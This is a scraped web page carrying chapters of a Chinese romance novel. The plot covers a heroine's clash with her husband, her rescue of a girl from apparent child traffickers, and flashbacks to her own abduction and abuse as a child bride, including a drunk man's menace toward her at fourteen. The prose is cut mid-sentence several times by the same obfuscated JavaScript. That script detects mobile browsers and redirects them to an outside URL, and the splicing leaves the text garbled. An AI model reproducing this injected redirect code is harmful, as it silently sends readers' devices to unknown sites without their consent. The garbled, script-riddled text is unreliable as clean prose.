d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562547|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得绘声绘色,舒晴虽然知道他讲的不一定全是真的,但心里依旧有股无名火冒出来,只是面色丝毫不显。 “说完了吗,”舒晴说,“说完就滚吧。” “恼羞成怒了?”路齐铭挑眉轻笑。 “你空口无凭,我为什么要恼羞成怒。” 路齐铭没继续这个话题,转而正色道:“虽然不知道你这性子为什么同意嫁给他,但是我还是给你提个醒,秦兆一直有个关系密切的女人,你可别真对他上心了。” “谢谢你的提醒啊。”舒晴不以为然。 “不客气,应该的,好歹我们也有过一段美好的过去。” 见他还有脸说起过去,舒晴一阵恶寒:“赶紧走,别再恶心我。” 路齐铭耸了耸肩,“行吧,那我就不打扰你了。” 他离开后,舒晴也走了,拿着餐具往厨房去,陆安安正在做猫饭,见她神色不虞,手中的动作顿了顿:“你怎么了?” 舒晴张了张嘴,又把想说的话咽回去了,转而道:“没什么,就是刚才碰到路齐铭了,心里直犯恶心。” “他怎么还有脸到你面前晃荡,不会是对你旧情未了吧。” “怎么可能,我都结婚了。”舒晴说。 “那就别理他,把他当个透明人就好了。”陆安安说,“我之前看了眼订房信息,他还要住到下个月底,也不知道他在这儿住这么久干嘛。” “谁知道呢。” 舒晴把洗完的餐具放回橱柜,离开厨房,走上木扶梯来到二楼,敲响了秦兆的房门。 等了好一会儿也没见他开门,舒晴又不耐烦地敲了几下,门才迟迟打开,秦兆出现在门后,他耷拉着眼皮,唇色浅淡,下巴处胡子拉渣,看起来精神不太好。 舒晴按捺住兴师问罪的心,诧异道:“你昨晚干啥了,这么憔悴。” 秦兆微微掀眼,看向她的目光似乎没有聚焦,眉头紧拧,呼吸声有些沉重,舒晴还没来得及多想,就见眼前的男人像山一样倾倒,她慌忙扶住他,沉重的身躯压来,差点被他带倒,好在舒晴及时把住门框,才止住后退的步伐。 “喂,你怎么了。”舒晴半抱着他,艰难发声。 “头痛...”秦兆下巴微抵着她发顶,好半响才沙哑开口,“让我抱一会儿。” “头痛就吃药啊,抱我又没效果。” 秦兆没吭声,放任自己揽着她,好在没把全部的重量都压到她一个人身上。 “喂,你要不要去医院看看啊。” 舒晴从没见秦兆这么虚弱过,一时有些担心,连找他的初衷都忘了,联想之前在网上查过的脑瘤症状,知道他可能是颅内压升高引起的头疼。 “不用。” 秦兆稍微缓过来,松开她,拖着沉重的步伐缓缓往屋内走,熟练地从柜子里拿出一个药瓶,倒出几粒药,舒晴从水壶里倒了一杯水适时地递给他。 “谢谢。” 秦兆接过水杯,就水服药,舒晴扶他到沙发坐下。秦兆闭眼靠着沙发,长吐一口气,骨节分明的食指搭在太阳穴处按揉,试图缓解余痛。 舒晴坐在他侧面的沙发,脊背挺直,秀眉微微拧起,眼底带着自己都没察觉的担忧。 几分钟后,秦兆缓缓睁开幽深的眼眸,转向舒晴:“你一大早来找我有事?” 舒晴见他不再痛苦地皱着眉头,又恢复成往日拒人于千里之外的淡漠,便也收起自己那可笑的担心,冷声开口:“听说舒薇禾昨晚来找你,还在你屋内待了很久。” 秦兆眸光微敛,沉默片刻后道:“所以你是来找我兴师问罪的?” 13. 刺痛 “所以你是来找我兴师问罪的?” “不应该吗?”舒晴义正言辞地说,“我之前明明跟你说过别跟她搅和在一起,是你出尔反尔,不守信用。” 秦兆仔细回想了一下昨晚的情形,说:“让她进门的确不该,但我当时以为敲门的是小徐,再加上昨晚我身体不太舒服,头疼直犯恶心,所以才没防备让她进了屋.....后来她进来就扑向我,身上的香水味太刺鼻,我没忍住吐了她一身,她尖叫一声把我推到了,我迷迷糊糊睡过去,直到刚才被你叫醒。” 舒晴:“.......” 难怪之前一进屋,她就闻到一股淡淡的怪味,原来如此,不过想到舒薇禾勾引不成反被吐了一身,她就忍不住想笑,想来昨晚听到的尖叫声就是她发出的。 见她唇边隐约带上笑,秦兆松了口气。 “好吧,这次就暂且相信你,”舒晴说。 说开后两人一时无话,房间安静下来,舒晴正想起身告辞,忽然听到秦兆轻声开口:“你会不会觉得我很卑鄙?” “...什么?”舒晴以为自己听错了,一向目下无尘的秦兆怎么会这么问。 秦兆抬眼,漆黑眼眸紧紧攥住她,重复道:“我患有重病,还把你拉进婚姻的坟墓,你会不会觉得我卑鄙?” 舒晴抱着双臂,煞有其事地点头:“嗯,的确是很卑鄙。” 不管什么原因,秦兆的行为放在以前她绝对不会饶恕,但是他娶她的目的不纯,她嫁他的目的也不纯,算是打平了。 于是秦兆的心还没来得及沉入谷底,又听到她继续说—— “但是看在你对我还算大方的份上先原谅你了,不过,你得答应我一个条件。” “什么条件?” 舒晴黑亮的杏眸转了转,说:“我还没想好,你先欠着。” “好。” “我患有脑瘤的事你先不要告诉奶奶他们,别的事我也会安排好,你只需再配合我一段时间。” 听他这副交代后事的口吻,舒晴柔软的心仿佛被轻轻戳了一下,忍不住叹了口气,徒劳地安慰道:“现在医学那么发达,你不要轻易放弃,积极治疗,一定能好的。” “借你吉言。” 秦兆弯了弯唇,眉眼忽然变得很柔和,直直盯着她,舒晴在他温柔的注视中败下阵来,不太习惯地错开眼,急急忙忙地站起身,借故走了。 正要往楼下走的时候,舒晴忽然听到一声轻佻的口哨声,舒晴寻声看去,见到连廊对面的路齐铭斜倚着廊柱,对她笑得勾唇痞笑,轻浮又浪荡,怎么看怎么惹人厌,她剜了眼这个挑拨是非的小人,径直下楼。 * 时间来到六月,天气越来越热,舒晴带来的夏季衣服不多,便和陆安安去附近的购物中心买衣服,挑挑拣拣半天,才买了几件称心的衣裙。 从商场出来,天边已经暗了一大片,华灯初上,街上霓虹招牌闪烁,游人也多了起来,十分热闹。 陆安安从地下停车场去开车出来,停在舒晴身侧,舒晴拉开车门,正要上车,动作忽然一顿,偏头往四周看了看。 “怎么了?”陆安安疑惑地问她。 “好像有人在看我。”舒晴迟疑道,但见附近人影匆匆,并没有视线停留在自己身上,只当是自己的错觉,便抬步上车,系好安全带。 陆安安一边发动车子,一边调侃道:“这里人那么多,你又长得那么美,看你也正常。” 舒晴抿唇一笑:“快开车吧。” 回去的路上,舒晴嫌车内的冷气太干,让陆安安把冷气关了,然后把车窗降下来,晚风裹挟着不知名的花香吹拂而来,扬起她如云的长发,她惬意地闭上眼,享受凉风的洗礼。 车子路过某条僻静的街道时,舒晴忽然听到一阵凄厉的哭喊声。 “放开我,放开我!我不要和你们走...呜呜......” 舒晴倏地睁开眼,往声源处望去,只见前方不远处的路边,一对中年男女正拽着一个小女孩,要将她推进面包车内,女孩拼命扒拉着门框,就是不肯上车,哭得红肿的双眼哀求着着看向附近的路人,“求求你们救救我,我真的不认识他们,他们是人|贩|子。” 身材敦实的中年女人一巴掌拍向她的背:“逃学和混混待在一起就罢了,还污蔑我跟你爸,我看你就是欠打,快上车跟我回家,别在外面丢人现眼!” 路上三三两两的行人放慢脚步观望着,不知该信谁的,也没人上前阻止。 这似曾相识的一幕,深深刺痛了舒晴的眼。 “安安,停车!”舒晴说着,“咔哒”一声解开安全带。 陆安安唰地停下车,车还没停稳,舒晴就拉开车门,朝那边冲过去。 “你们放开她!” 舒晴上前想拉住那个小女孩,却被中年男人拍掉手,“我们教训女儿,你别多管闲事!” 一口带着乡音的普通话,晦涩又难听,但舒晴听着格外熟悉。 她压下因这乡音升起的恐惧,颤抖着声音道:“我是她姐姐,你们再碰她试试!” 那中年夫妇一听,眼里惊慌一闪而过,男人咽了咽口水,梗着脖子大声说:“你放屁!她明明是我女儿,再胡说八道信不信我打你!” “你问我妹妹,我是不是她姐姐!” 不待询问,小女孩就哭喊道:“她是我姐姐,她是我姐姐,你们快放开我,我不认识你们!” 她拼命挣扎,想去到舒晴身边。 男人还是不肯放手,死死钳着她细瘦的手臂不让她走。 女孩哭得声嘶力竭,舒晴抖着手掏出手机要报警,男人见状慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562548|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得想打掉她手机,舒晴险险避开,几个一直围观的路人纷纷围过来,对男人怒目而视。 “你是不是人|贩|子,人家要报警你心虚什么。” “该死的人|贩|子,快放开那个女孩。” 舒晴在这个间隙飞快拨通报警电话,言简意赅地说明情况。 中年夫妻见大势已去,一把撒开小女孩的手,不顾人群的阻拦着急忙慌地坐上面包车扬长而去。 舒晴一把抱住惊魂未定的小女孩,不断安抚道:“没事了没事了,姐姐已经报警,你已经安全了。” 小女孩像抓住救命稻草般紧紧环抱她的腰,身体哭得一颤一颤的,温热的眼泪渐渐浸湿她胸前的衣服,烫得她心间发疼。 舒晴喉头梗塞,也紧紧回抱她,像是要把满满的安全感传递给她。 她很庆幸自己碰到了,并且能出手相助,避免她沦落到一个悲苦凄惨的境遇。 想当年她被拐的时候还没她大,父母暑假带她去川西玩,她因为贪玩和父母走散了,路上遇到一个沿街乞讨的残疾大娘,她心生可怜,便掏出身上所有的零钱给她。 大娘见她独自一人便说这一带她很熟,可以帮她找父母,她也同意了,没想到大娘带她越走越偏僻,她察觉不对想跑,大娘却死死钳住她手腕,强行将她拉上路边停放的面包车,周围人视而不见,几经周折后她被人拐到了云南的大山深处,给一个比自己还小两岁的男孩当童养媳,在地狱一般的家庭里待了近十年,成为这辈子都挥之不去的阴霾...... 如今想来,依旧令舒晴心生愤恨,对于怀中差点被拐走的小女孩更是无比怜惜。 十几分钟后警察来了,那对中年夫妇早已不知所踪,好在陆安安先前用手机拍下了他们的脸和车牌号,去派出所做完笔录已经将近十点。 离开前小女孩的父母千恩万谢,还想给她跪下磕头,吓得舒晴连忙扶起他们,然后认真嘱咐道:“感谢的话就不必了,以后要保护好她,她还那么小,正是最需要你们的时候,一定要放在眼皮子底下好好照看。” 小女孩的父母连连点头,舒晴在小女孩感激又不舍的目光中挥手离去。 舒晴带着满身疲惫和陆安安回到民宿。 秦兆在凉亭中独坐,檐下灯笼灯火璀璨,却照不亮他幽黑深沉的眸子。 听到脚步声,他倏地看向舒晴,敏锐察觉她情绪不太对劲,于是站起身走到她面前:“怎么那么晚才回来,遇到什么事了?” “没什么,就是买东西了。”舒晴扬了扬手中的购物袋,没和他解释那么多,径直往后院走去。 秦兆看着她的背影,目光越发幽深。 许是今晚发生的事情,勾起了她深埋已久的回忆,舒晴躺在床上翻来覆去睡不着,即便勉强入睡却陷在过去的梦魇里。 14. 温柔 九岁那年,舒晴被人卖到大山深处某户人家。 当她从昏沉的状态中清醒过来,发现自己正躺在一个陌生的屋子里。 屋内光线昏暗,窗户密封,木门紧闭,弥漫着一股难闻的味道,舒晴胃里一阵抽搐,想吐却吐不出来,反而烧得慌。 身上穿的裙子已经脏得看不出原本的样式,正散发着臭烘烘的味道,所有的一切一切都让她无所适从,心生恐惧。 这些天于她而言,无异于天翻地覆,她试着逃过跑过,无一例外都被人贩子抓回来,为了让她安分点,那些人给她为了大剂量的安眠药,让她整日昏睡,没一刻清醒。 以前老师和父母就耳提面命过,本以为拐|卖这种事离她很远很远,可竟然被她遇上了。 早知道她就不贪玩乱跑了。 泪水在眼眶里打转,她喉头梗塞得厉害,忍住没哭出声,挪腿下床,拖着虚软的步伐走到门口,却发现门从外边锁住来了。 “救命!有没有人,快放我出去!”舒晴使劲拍打着门框,声音沙哑得要命。 不知拍打了多久,她听到拖沓的脚步声由远及近,夹杂着粗噶难听的方言,舒晴的心不受控地悬起,往后退了几步。 一阵窸窸窣窣的开锁声过后,门猛地从外拉开,舒晴吓得身体一颤,看到一个魁梧人影逆着光线立在门口。 她眨眨眼,逐渐看清那人。他长着一张古铜色的面庞,颧骨极高,法令纹像两条深沟,眼神中透露着股野蛮的狠劲,看起来凶神恶煞的,张嘴就是一通拗口晦涩的土话,舒晴听不太懂,只凭借语气知道他可能在骂她,末了他伸手将她往门内推,想将门关上。 舒晴慌忙把住其中一扇门,哀声恳求:“叔叔,我求求你放了我吧,我家里很有钱,只要你放我走,要多少钱我爸爸妈妈都会给你的。” 男人也不知听懂没有,反正不为所动,骂骂咧咧地仍想把她锁里面,舒晴心生绝望,抱着一股鱼死网破的劲,恶狠狠咬上他的手臂,男人吃痛甩开她,舒晴扑到门板上,趁他没缓过劲来,趁机挤出门外想逃走,但是还没跑两步,就被男人追上,接着一个巴掌重重甩向她稚嫩的脸庞,舒晴倒在地上惨叫一声,捂着发麻的脸痛哭出声。 这次舒晴被关到了一间更小的屋子里,这儿堆放着各种农具、柴火和杂物,乱糟糟的,她蜷缩在唯一的空地上默默流泪,脏兮兮的小脸上泪痕斑驳。 如今的遭遇对她而言,无异于从天堂跌落地狱,她做梦都想回到父母身边,可是每每醒来面对的依旧是冷冰冰的事实,而更令她难以忍受的是极度的饥饿。 那个男人像是要惩罚她似的,每日只给一碗稀得不能再稀的粥水,舒晴常常被饿得饥火烧肠,在此期间她哭过求过,但始终无人回应,在饿得受不了的时候,她恍惚间看到门口底部缝隙出现了数颗花生,她费力爬过去,捻起一颗花生,才知道不是自己的幻觉,欣喜地掰开吃到嘴里,才缓解了胃部强烈的饥饿感。 第四天的时候,送稀粥的换了一个人。 是一个小男孩,长得又瘦又矮,手里端着一只碗,里面盛着满了冒热气的白粥,浓稠而诱人。 舒晴惊喜地接过,捧着碗仰头咕噜咕噜喝到肚子里。 勉强果腹后,舒晴认真打量起眼前的小男孩,他的睫毛浓密纤长,眼睛漆黑发亮,犹如澄澈而幽深的湖水,正略带好奇地看她。 舒晴没想到会在这个山卡拉见到这么俊秀的小孩,虽然他长得略黑,但那张脸一点不像个山里娃。 “你也是被拐来的吗?”她疑惑地问。 小男孩微垂下眸子,嘴动了动,欲言又止,最后却摇了摇头。 舒晴瞧着他单纯无害的模样,联想到这两天凭空出现的花生,问道:“之前是不是你偷偷给我送花生?” 还没等他回答,之前那个男人又出现了,舒晴立马瑟缩着躲回角落,胆战心惊的模样极大地取悦了男人。 他狞笑一声:“以后还敢不敢逃了?” 虽然音调不一样,但结合眼神和语气,舒晴勉强听懂了他的话,赶紧摇头,表示自己再也不会逃了。 当天晚上舒晴回到了原来的屋子,可以安心地躺在硬板床上睡觉,不用再担心半夜有老鼠蟑螂爬过身体。 只是她没想到小男孩也住在这儿,看到他熟练爬上对面另一张板床,便惊讶地问:“你今晚也要睡在这里?” 小男孩点点头,没有多说什么,躺到床上后就背对着她。 和陌生人同处一室,舒晴心中难免不适应,但好在他没有鼾声也没有磨牙或说梦话,安安静静的,安分得毫无存在感,舒晴放下心来,在夜晚细碎的虫鸣声中逐渐睡过去。 男人并不打算让舒晴在这个家白吃白喝,次日天没亮就让她和小男孩周让随自己去山上割猪草,这让从小娇生惯养的舒晴苦不堪言,短短几天,原本白嫩的小手就长满了茧子和水泡,她常常边掉眼泪边干活,不断在心里祈祷爸爸妈妈快点来救她。 除了早起割猪草,舒晴还要喂猪喂鸡,洗菜洗碗扫地,可以说包揽了这个家里全部的脏活累活,而男人什么都不做,在一旁跟个大爷似的当监工,只要她有一丝懈怠,就破口大骂,要是手里有条皮鞭,指不定就往她身上招呼。 舒晴敢怒不敢言,一整天下来累得腰酸背痛,连找小男孩套话的时间都没有,沾床就睡。 在这个鬼地方待了一段时间,舒晴渐渐听懂了这里的方言,知道这家的男人叫周大山,男孩叫周让,虽然是父子俩,但是两人长得不像,关系看起来也不太熟络。 某天饭后,周大山砸吧着旱烟,慢条斯理地对舒晴开口:“以后你就叫二丫,老实待在这儿,给我儿子当媳妇。” 听到这句话,正收拾残羹冷炙的舒晴不可思议看向坐在门槛上和狗玩的周让,觉得这个世界疯了。 让她给这个小萝卜头当童养媳,简直是天方夜谭。 但看着周大山不容置喙的态度,知道不能硬对硬,她只能把所有不满压下,反正她以后一定会逃出去的。 虽然和周让同住一个屋檐下,但舒晴跟他还不太熟,而且她发现周让不爱说话,任何人问话都是只点头或摇头,唯一的乐趣好像就是和家里的大黄狗玩。 舒晴一度以为他是个哑巴。 直到有一天,她因为不小心打碎了一个碗,被周大山用藤条狠狠抽了一顿,她痛得哭喊求饶也无济于事,晚上躺在硌人的硬板床上,更是疼得睡不着,她忍不住悲从中来,哀声哭泣,枕头都被眼泪浸湿了。 “别哭了。” 乍一听到稚嫩的童音,而且还是字正腔圆的普通话,舒晴惊讶得哭声一顿。 只见周让站在她床边,月色下,他乌黑的眼珠大而空寂,正静静看着她。 舒晴没想到他竟然会说普通话,傻愣愣地和他对视,泪珠挂在蝶翼般的睫毛上,欲坠不坠的。 “给你吃糖。”周让朝她摊开手掌,掌心里有一颗印着囍字包装的糖,看样子从婚宴中得来的。 被比自己还小的孩子安慰,舒晴不好意思再掉眼泪,她吸了吸鼻子,伸手接过,拆开外层包装,把糖含在嘴里,甜丝丝的滋味瞬间在口腔里蔓延开,身上似乎没那么疼了。 “谢谢你。”舒晴想起之前被关小黑屋的时候,他偷偷给她投喂花生,现在又给她糖吃,心存感激,于是朝他友善地笑了笑。 接着又问道:“我是不是吵到你睡觉了?” 周让摇摇头。 “你的普通话是谁教的啊?”舒晴好奇地问。 “...我妈妈。” “那你妈妈呢?”舒晴来到这里那么多天还没见过他妈妈,不由得疑惑起来。 周让嘴抿了一下,没说话,转身躺回自己的床。 舒晴看着他瘦小又孤独的背影,意识到自己可能问错话了,他妈妈也许不在了,自己无心的问题却勾起了他的伤心事。 “周让,对不起。”舒晴低声和他道歉。 “没关系,睡吧。” “嗯。” 沉入梦乡前一刻,舒晴迷迷糊糊地想,周让长得好看性格又善良,一定是遗传他的妈妈。 许是见舒晴这段日子老实了,活也干得越来越熟练,周大山对她的管束松了许多,允许她在家内外走动,只是不许她往山下走。 周家在半山腰上,站在门前空地放眼望去,底下是错落有致的民房和广袤田地,四周山峦连绵起伏,如同天然屏障,将她隔绝于此。 要想逃出去,简直难于登天。 难怪周大山放心她出门。 舒晴有些绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562549|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望,垂头丧气的蹲在地上看鸡踱步啄食,从此以后干活来也懈怠了许多。 这天周大山在堂屋喝得醉醺醺的,站都站不起来,舒晴光明正大地跑回房间偷懒。 周让正坐在床上,低头瞧着手中的照片,神色专注,连她进来了都没发现。 舒晴好奇地凑过去瞥了一眼,瞬间被照片上的女子所吸引,她穿着时尚,气质温婉优雅,精致的五官和周让像极了。 “这是你妈妈吗?”她问。 周让点点头,目光依旧盯着照片出神。 舒晴了然了,周让妈妈这副打扮肯定不是这大山里的人,说不定也是被拐来的,难怪周让言行谈吐都不像个纯粹的山里娃。 “你妈妈长得真漂亮,”舒晴由衷地赞叹。 听到这话,周让眼里泛起一丝微光,认同地点头:“她的确很美,对我也特别特别好。” 他的语气充满了怀念,听得舒晴心里酸酸的,很不是滋味。 “你妈妈一点不像山里人,你知道她是从哪里来的吗?”她小心翼翼询问,生怕踩到他痛点。 周让眼里的光黯下去,声音低低的:“她和你一样,都是被坏人拐来的,她一点都不喜欢我那个爹,她喜欢给我讲故事,教我认字,给我做好吃的饭菜,陪我玩......” 他的语气里满是追忆,仿佛和母亲相处的时光都是他最珍贵最美好的回忆。 舒晴头一次听他说那么多话,虽然她和周让相识不久,但她能从他的话语中感受到他对母亲深切的眷念和爱意,让人为之动容,不由得对周让萌发出一种同病相怜的感觉。 “你妈妈一定是很坚强的人。”舒晴说。她在这个鬼地方待了一阵子已经快受不了了,而周让妈妈竟然待了好几年,换做是她,肯定疯了。“她有没有试着离开这儿啊?” “我妈妈一直想带我离开,偷偷谋划了好久,”周让声音低沉,思绪仿佛回到了过去,“有一天晚上,她把周大山灌醉,带上干粮拉着我逃,都是没跑多远,就被村里人发现了,我妈妈背着我往山上去,在山洞里躲了两天,还是被他们找到了。” 舒晴听得毛骨悚然,心里升起不好的预感:“后来呢?” “我妈妈被打死了。”他黑沉沉的眸子里没有一丝光亮,声音也毫无起伏,可舒晴还是听出了深入骨髓的恨意。 舒晴看着他超脱年龄的复杂神情,终于明白了他为什么没有属于这个年纪该有的活泼和天真。 这个时候任何语言都是苍白的,舒晴伸出手默默抱住他,希望能带给他一丝安慰。 周让小小的脑袋搁在她肩膀上,回抱她的手越收越紧。 从此以后,舒晴和他的关系拉近了许多。 当然为了避免周让对她有错误的认知,有些事还要事先说清楚。 于是某个夜晚,舒晴和周让借着皎洁的月光促膝长谈。 “周让,你知道我以后是你什么人吗?” 周让不确定地吐出一个词:“媳妇?” “不对,”就知道他会答错,舒晴轻敲了一下他脑袋:“你别听你爹瞎说,我是你姐姐,不是你媳妇,你以后要把我看作亲姐姐才行,明白吗?” 周让略显懵懂地点头,看起来有些独属于小孩子的乖顺和纯真,舒晴笑着揉了揉他的头发,动作温柔得仿佛能融化冬天的冰雪,缓缓说道:“我和你妈妈都是从大城市来的,你知道大城市什么样吗?” 周让摇摇头,黑亮的眼睛盯着她,闪烁着期待的光芒。 “城市里有比山还高的楼,有很多购物商场,想买什么买什么,还有好玩的游乐园,可以在里面骑旋转木马,坐摩天轮,玩过山车,可有趣了......” 周让听得很认真,神情带着好奇和憧憬,舒晴有意在他心底埋下一颗走出大山的种子,继续说道:“以后啊,我们要互相罩着,等有机会一起走出大山,活在更广阔的天地里。” “嗯。”周让郑重点头。 那年九月,周让上了小学,舒晴也想去上学,却被周大山臭骂了一顿,舒晴很是难过。 同年,周大山和隔壁村的寡妇陈红妹看对眼,用两头猪把她娶回了家。 陈红妹嫁过来后嫌舒晴肩不能扛手不能提,看她越发不顺眼,舒晴的日子变得更加水深火热。 15. 逼迫 刚来周家的第一年,舒晴不仅包揽了家里全部的脏活累活,还吃不饱穿不暖,辛酸苦辣咸尝了个遍,还好周让时常帮她,舒晴才能喘口气。 第二年陈红妹生了个儿子,取名周聪,周大山高兴极了,就是苦了舒晴,不仅要干活,还得帮他们带孩子,一点没照顾好,就会被陈红妹掐胳膊拧耳朵,饿肚子。 第三年不知周让和周大山说了什么,周大山大发慈悲让舒晴上了学,因为周让时常帮她补习,所以她和周让一样上三年级。 周让满十二岁之后,就拆了自己的床板,不顾周大山反对搬到了另一个更小的屋子里。 舒晴有了自己专属的空间,做什么都方便了许多。 时间慢慢流逝,舒晴依旧没等到爸爸妈妈来救她,怕岁月模糊了记忆,她每天晚上都会在脑海中勾勒他们的音容样貌再睡去,生怕自己忘了,连家里的座机号都记得清清楚楚,只是碍于这里通讯不发达一直没有机会打出去。 周让随着年岁日长,和周大山的矛盾日益凸显,又因时常维护舒晴,被骂是吃里扒外的白眼狼,每当这个时候陈红妹就站在一旁抱着周聪讥笑,按她的话来说,周让这种属于养废的,不值得多花心思。 十四岁那年,长期营养不良的舒晴才开始发育,身量渐长,身姿也变得越加玲珑有致。 周大山看她的眼神也慢慢变了,舒晴虽然看不大懂,在周家却再也不敢随意穿短裤短袖。 让舒晴害怕的是,周大山每次喝完酒之后,望向她的眼神,就如同看一个待宰的羔羊,格外的邪恶,让舒晴不寒而栗。 那一天,周让还没回到家,母老虎则背着周聪出门劳作去了,家里就剩她和周大山两个人。 她在天井里埋头洗着全家人的衣服,周大山坐在屋内的饭桌上,喝一口酒,抽一口旱烟,好不惬意。 一双浑浊的三角眼微微眯起,目光肆无忌惮地扫视着舒晴娇小的身躯。 舒晴察觉到了他的视线,如芒在背,有些惴惴不安,也不敢抬头,只是更加卖力地搓洗衣服。 “二丫啊,别洗了,周叔一个人喝酒没意思,你过来陪我喝两杯呗。” 舒晴也没吭声,依旧吭吭哧哧洗衣服,只当没听见。 “我叫你过来!”周大山突然爆喝一声,舒晴吓得抖了抖,却依旧没敢过去。 “周叔,周姨让我在她回家之前洗完这些衣服,要不然她晚上又不给我饭吃了。”舒晴试图和他装可怜。 “没事,有我在,会有你一口饭吃的,现在先陪周叔喝酒,不要不听话!” 舒晴知道不能再拒绝,她慢吞吞地站起来走过去,双手紧攥成拳,如临大敌地走到门槛处站定。 “离那么远做什么,走近点,坐到这里来。” 周大山拍了拍他身旁的小板凳。 “我、我站这儿就行了。” “过来,别让我说第二遍。”周大山皮笑肉不笑。 舒晴连忙战战兢兢地坐到那个小板凳上,一旁周大山身上浓郁的酒臭味熏得她想作呕。 周大山倒了一杯酒,重重掷到她面前,“喝!” “周叔,我不会喝酒。”舒晴还想垂死挣扎。 “叫你喝你就喝,那那么多废话。” 耐心售罄的周大山,一手拿起酒杯,一手捏住舒晴的下巴,粗暴地将酒水往她嘴里灌,辛辣浓烈的酒像火一样顺着喉咙烧进胃里,舒晴难受得直咳嗽,脸都憋红了。 周大山十分愉悦地欣赏她痛苦的表情以及泛红的双眼,又倒了满满一杯酒,“来,继续喝!” 见舒晴犹豫,周大山冰冷的眼神瞬间像利剑一般射来,“不喝我就喂你喝!” 舒晴不得已,只能拿起酒杯喝,周大山在一旁饶有兴致盯着她,甚至还跟她碰杯。 一时间,堂屋内酒气弥漫。 “二丫你酒量不错啊,”周大山肥腻粗黑的大手像蛇一样攀上舒晴的肩头,侧头端详她酡红的脸,“醉了没有啊?” 舒晴脑袋晕乎乎的,迷离的醉眼不经意瞥见周大山那双色眯眯的眼,吓得清醒了片刻,打结的舌头艰难地吐出一句话:“周叔,我想吐........” 没等周大山反应过来,舒晴‘哗啦’一声,准确无误吐到了他身上。 周大山被这突如其来的状况惊得猛地站起身,低头一看,自己身上一片狼藉,满是臭气熏天的呕吐物,他缓缓抬头,像恶鬼一样死死盯着舒晴这个罪魁祸首,额角青筋一跳一跳的,仿佛随时都能爆发出来。 舒晴心生恐惧,努力迈开两条绵软的腿想逃,但还没跨过门槛,突然头皮一紧,脑后的长发被一只大手揪住了,痛得她差点飙泪。 “臭丫头,你是不是故意的!”周大山怒不可遏地拽紧她的头发。 “周叔对不起,我真不是故意的,你快放开我。” 周大山的力气大得出奇,舒晴感觉头皮快要被他扯掉了,反手想把头发从周大山手中解放出来,但紧接着一股巨大的拉力,让她的身体不由自主倒向饭桌。 “吐啊,继续吐啊,看老子不打死你!”周大山抓着她的头发,咬牙切齿地将她的脑袋一下一下往饭桌上掼。 舒晴眼里冒着泪花,痛得不断哀求。 刚进家门口的周让见到这副场景,绷着脸一言不发,径直越过周大山走进厨房。再出来的时候,手里多了把锃亮锋利的菜刀。 在周大山污秽难听的辱骂声中,周让面无表情地一刀劈向他拽住舒晴头发的手。 周大山被他吓出一身冷汗,慌忙收回手,才免掉一砍。 “我是你老子,你再动我一下试试!”周大山怒火冲天地朝周让吼。 话音刚落,周让手中锐利的菜刀再度以势不可挡的速度砍向他。 周大山目眦欲裂,险险躲开。 “不愧是女疯子生出来的小疯子,连老子都敢砍!我看你是要反了天!” “我警告你,不准再动姐姐,要不然我见一次砍一次。”周让将舒晴护在身后,漆黑的双眸一片冷寂,声音冷得如同淬了万年寒冰。 周大山气得胸膛不断起伏,咬牙切齿地说:“老子花大钱给你买媳妇,你却为了她要砍我,信不信我把你们扔到山上一起喂狼!” “那你就试试,”周让冷声开口,“看看是你动作快,还是我的刀快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一会儿追着鸡跑,一会儿又跑到草丛里捉蛐蛐,就是不肯好好吃一口饭,被他弄得心力交瘁的舒晴恼得拍了一下他的肩膀。 这一幕恰好被从堂屋内出来的陈红妹看到了,火大地抄起门边的扫帚,气势汹汹朝舒晴打去。 “竟敢打我儿子,今天不打死你这个小贱人老娘就不姓陈!” 舒晴吓得拔腿就跑,一边躲闪,一边在心里臭骂这对母子。 她真是倒了八辈子霉才进到这个家,要忍受他们的磋磨与苛待。 “你再躲试试!”身材肥胖的母老虎追了她几步路,就累得气喘吁吁,叉着腰怒瞪着舒晴。 舒晴倚靠在院门上,一只脚已经踏出门外,随时准备夺路而跑。 陈红妹瞧着她近乎挑衅的姿态,怒火燃烧的更旺,将手中的扫帚砸向她,舒晴灵活转身,铆足了劲往山上跑,陈红妹不甘示弱,捡起门边剁猪草的生锈菜刀,咬牙追上去,誓要给她点颜色瞧瞧。 母老虎穷追不舍,舒晴因为没吃饱,跑了没多远就快没劲了,步伐渐渐慢下来,回头发现陈红妹要追上来了,慌得加快速度,却被一块凸起的石头绊住脚部,重重摔在了地上。 陈红妹趁机追上来,在她惊恐的眼神中举起菜刀,猛劈下来。 16. 牵手 “晴晴,晴晴醒醒。” 